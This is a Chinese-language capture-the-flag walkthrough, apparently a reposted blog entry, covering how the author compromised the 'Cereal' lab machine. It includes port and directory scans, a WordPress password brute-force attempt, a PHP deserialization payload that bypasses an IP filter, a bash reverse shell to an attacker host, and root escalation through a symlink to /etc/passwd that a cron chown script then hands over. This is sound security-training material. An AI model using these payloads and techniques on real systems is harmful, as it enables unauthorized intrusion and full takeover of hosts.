IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> Cereal靶机wp -> 正文阅读

[网络协议]Cereal靶机wp

主机发现

nmap -sP 192.168.159.0/24

目标主机IP地址为:192.168.159.168


端口扫描

nmap -sV -p- -A 192.168.159.168

在这里插入图片描述

开放端口为:21、22、80、139、445、3306、44441(web)


21端口

可以匿名登陆,但是没有有用信息

在这里插入图片描述

现有漏洞库也只有一个拒绝服务,没啥用

在这里插入图片描述


80端口

目录扫描(gobuster)

gobuster dir -u http://192.168.159.168 \                     
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak

在这里插入图片描述


发现两个页面,访问,发现blog页面没有css加载,猜测可能要域名,查看网页源码,发现域名

在这里插入图片描述

cereal.ctf


将域名写入本地hosts文件,再次访问,发现是 wrodpress 网站

在这里插入图片描述

在这里插入图片描述


wordpress

利用wpscan爆破用户名密码

wpscan --url http://cereal.ctf/blog -e	u

在这里插入图片描述

wpscan --url http://cereal.ctf/blog -e -U cereal -P /usr/share/wordlists/rockyou.txt

在这里插入图片描述

跑了20mins没跑出来(虚拟机里性能确实不行。。。)想上网看看其他人跑出来的密码,结果发现这个方法跑不出密码。。。换法子了


子域名

wfuzz -H 'HOST: FUZZ.cereal.ctf' -u 'http://192.168.159.168' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 45,20787

在这里插入图片描述

没有子域名。。。


44441端口(web)

目录扫描

dirsearch -u cereal.ctf:44441 

在这里插入图片描述

啥都没。。。


子域名

wfuzz -H 'HOST: FUZZ.cereal.ctf:44441' -u 'http://192.168.159.168:44441' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 2,45

在这里插入图片描述

找到一个子域名:secure


加到本地hosts文件后访问

在这里插入图片描述

在这里插入图片描述


命令执行

在这个网页尝试命令执行,但我知道的姿势全都不行,页面没有返回。。。

127.0.0.1 | pwd
127.0.0.1 & pwd
127.0.0.1;pwd

在这里插入图片描述


抓包看返回信息,好像有个序列化的东西,但我看不懂,决定继续往下

在这里插入图片描述


目录扫描

在这里插入图片描述

login页面还是会返回当前ping页面

php.js页面发现序列化源码

在这里插入图片描述


反序列化

代码中给出了序列化的样式实例,我们可以根据它构造出我们想要的代码

在这里插入图片描述


然后先对页面进行正常访问抓包,看看这个参数放到哪里

在这里插入图片描述

可以看到是一串url编码字符,将其解码:
在这里插入图片描述


把我们构造好的代码编码,替换,发送

{s:9:“ipAddress”;s:16:“127.0.0.1;whoami”;}

在这里插入图片描述

无效,没有返回。。。

做到这里我实在不知道咋做了,感觉很对,但没有返回就很迷。。。

上网搜了下大佬们的wp,发现是我的字典不太行,还有个目录没扫到。。。

/back_en/


重新目录扫描,扫/back_en/下的文件

dirsearch -u http://secure.cereal.ctf:44441/back_en/

在这里插入图片描述


发现一个备份网页,访问,发现该页面有一段php代码,其中某段代码对 IP 地址进行了过滤操作:

filter_var(x,FILTER_VALIDATE_IP)函数过滤了非IP地址,若 x 不是IP地址,则返回False

if (!$this->isValid) {
	if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)){
		$this->isValid = True;}}
$this->ping();

但是在代码中存在一个 bug ,那就是如果 isValid 这个参数为 True,则不进行验证,也就是说我们可以构造序列化字符,将 isValid 参数置为 True

构造的序列化字符串如下:

O:8:“pingTest”:2:{s:9:“ipAddress”;s:16:“127.0.0.1|whoami”;s:7:“isValid”;s:4:“True”;}

进行url编码后发送,成功执行whoami命令!

在这里插入图片描述

反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.159.131/7777 0>&1'

序列化字符如下:

O:8:“pingTest”:2:{s:9:“ipAddress”;s:65:“127.0.0.1|bash -c ‘bash -i >& /dev/tcp/192.168.159.131/7777 0>&1’”;s:7:“isValid”;s:4:“True”;}

编码后发送,同时本地开启端口监听:

在这里插入图片描述

成功获得shell

在这里插入图片描述

提权

situid

find / -perm -u=s -type f 2>/dev/null

发现一个可以提权的程序(CVE-2021-4034),这次换思路,具体利用参考 Corrosion2那期

在这里插入图片描述


计划任务

crontab -l
cat /etc/crontab

没有任何计划任务


信息收集

找了各个目录,文件之类的都没有获得什么有用信息


脚本

python -m SimpleHTTPServer 80
wget 192.168.159.131/pspy64
chmod +x pspy64
./pspy64

发现一个可疑文件

在这里插入图片描述


查看它的权限与内容

在这里插入图片描述

只有 root 用户可写,作用是将 /homerocky/public_html/下的所有文件属主改为 rocky,属组改为 apache


软链接

软链接相当于 windows 中的快捷方式

当一个文件是另一个文件的软链接时(例如:A 是 B 文件的软链接,A 的根是 B),当我们修改这个文件的属主属组时(A),改的并不是这个文件的,而是它所链接的源文件(B)

通过信息收集,我们发现 /etc/passwd 文件可以被它的属主属组修改,所以准备通过软链接以及 chown.sh 修改它的属主属组

在这里插入图片描述

ln -s /etc/passwd /home/rocky/public_html/passwd

在这里插入图片描述


chown.sh 脚本运行后 /etc/passwd 文件属主属组成功被修改

在这里插入图片描述


修改/etc/passwd

在修改该文件时,发现符号会出现混乱,所以决定将该文件复制到到本地修改后上传覆盖

# 先将该文件放到web 目录下,方便下载
cd /var/www/html/blog
cp /etc/passwd .

# 本机下载
wget http://cereal.ctf/blog/passwd

修改该文件后上传(root密码置为空)

在这里插入图片描述


wget 192.168.159.131/passwd
cp passwd /etc/passwd

在这里插入图片描述


su

在这里插入图片描述

成功获取root权限!

在这里插入图片描述

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-09-15 02:20:35  更:2022-09-15 02:22:39 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 21:17:33-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码